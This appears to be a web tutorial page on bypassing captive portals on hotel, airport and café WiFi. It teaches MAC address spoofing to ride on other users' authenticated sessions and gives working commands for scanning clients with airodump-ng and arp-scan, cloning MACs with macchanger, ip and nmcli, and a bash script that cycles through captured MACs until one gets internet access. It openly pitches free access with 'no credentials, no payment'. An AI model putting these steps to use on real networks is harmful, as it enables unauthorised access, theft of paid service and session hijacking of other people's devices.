Captive Portal Bypass

Bypass captive portals in hotels, airports, coffee shops and public WiFi networks — MAC spoofing here, with DNS/SSL tunnelling, evasion and tooling in the sub-topics below.

Captive Portal Overview

Captive portals are authentication gateways used on public WiFi networks (hotels, airports, coffee shops) that intercept all traffic until the user completes authentication. The term "captive" means your browser is forcibly redirected to a login page regardless of what URL you request. These systems combine DHCP manipulation, DNS hijacking, and firewall rules to trap clients.

How they work: When you connect, the network assigns you an IP via DHCP but marks your MAC address as "unauthenticated" in the firewall. All DNS queries are redirected to the portal server, and HTTP traffic gets a 302 redirect to the login page. HTTPS connections fail with certificate errors (or are allowed to specific whitelisted domains). Only after authentication does the firewall allow your MAC to access the internet.

Bypass strategies: Since authentication is tied to MAC address, the simplest approach is cloning an already-authenticated device's MAC. Alternatively, exploit allowed services (DNS, HTTPS to specific domains) to tunnel all traffic through those protocols. Most portals have weak filtering because they prioritize usability over security—blocking too much breaks legitimate use cases.

How Captive Portals Work

Detection Mechanisms

MAC Address Spoofing

MAC spoofing is the most effective captive portal bypass on public networks. The concept is simple: captive portals track authenticated devices by MAC address. If you clone an authenticated device's MAC, the firewall sees you as already logged in and grants immediate access. No credentials, no payment, no hassle.

Attack workflow: First, scan the network to identify authenticated clients (devices actively using the internet). Use airodump-ng or arp-scan to capture MAC addresses. Then, change your MAC to match one of theirs using macchanger or ip commands. Reconnect to the WiFi, and you'll inherit their authenticated session. The risk: if both of you are online simultaneously with the same MAC, it causes IP conflicts—pick a MAC from a device that appears idle or disconnected.

1. Identify Authorized MACs

# Scan for active clients
sudo airodump-ng wlan0mon -c <CHANNEL> --bssid <AP_BSSID>

# Save to file
sudo airodump-ng wlan0mon -c <CHANNEL> --bssid <AP_BSSID> -w capture

# Parse captured data — airodump-ng writes a CSV with a Station section
# (capture-01.csv); aircrack-ng cannot list stations from the .cap
cat capture-01.csv

# Alternative: arp-scan
sudo arp-scan --interface=wlan0 --localnet

# Monitor traffic; exclude the internal 10.0.0.x range to reduce noise
sudo tcpdump -i wlan0 -e -n | grep -v "10.0.0"

2. Clone Authorized MAC

# Method 1: macchanger
sudo ifconfig wlan0 down
sudo macchanger -m <TARGET_MAC> wlan0
sudo ifconfig wlan0 up

# Verify
macchanger -s wlan0

# Method 2: ip command
sudo ip link set wlan0 down
sudo ip link set wlan0 address <TARGET_MAC>
sudo ip link set wlan0 up

# Method 3: NetworkManager
sudo nmcli connection modify <CONNECTION> wifi.cloned-mac-address <TARGET_MAC>
sudo nmcli connection down <CONNECTION>
sudo nmcli connection up <CONNECTION>

# Reconnect to network
sudo wpa_supplicant -B -i wlan0 -c /etc/wpa_supplicant/wpa_supplicant.conf
sudo dhclient wlan0

3. Automated MAC Rotation

#!/bin/bash
# mac_rotator.sh - Try multiple authorized MACs

INTERFACE="wlan0"
SSID="PublicWiFi"

# Array of captured authorized MACs
MACS=(
  "AA:BB:CC:DD:EE:01"
  "AA:BB:CC:DD:EE:02"
  "AA:BB:CC:DD:EE:03"
)

for mac in "${MACS[@]}"; do
  echo "[*] Trying MAC: $mac"
  
  # Change MAC
  sudo ifconfig $INTERFACE down
  sudo macchanger -m $mac $INTERFACE
  sudo ifconfig $INTERFACE up
  
  # Reconnect
  sudo wpa_supplicant -B -i $INTERFACE -c <(echo "network={ssid=\"$SSID\" key_mgmt=NONE}")
  sudo dhclient $INTERFACE
  
  # Test internet
  sleep 5
  if curl -s --max-time 5 http://google.com > /dev/null; then
    echo "[+] Success with MAC: $mac"
    exit 0
  fi
  
  echo "[-] Failed with MAC: $mac"
  sleep 2
done

echo "[-] All MACs failed"

Verify It Worked

Key Takeaways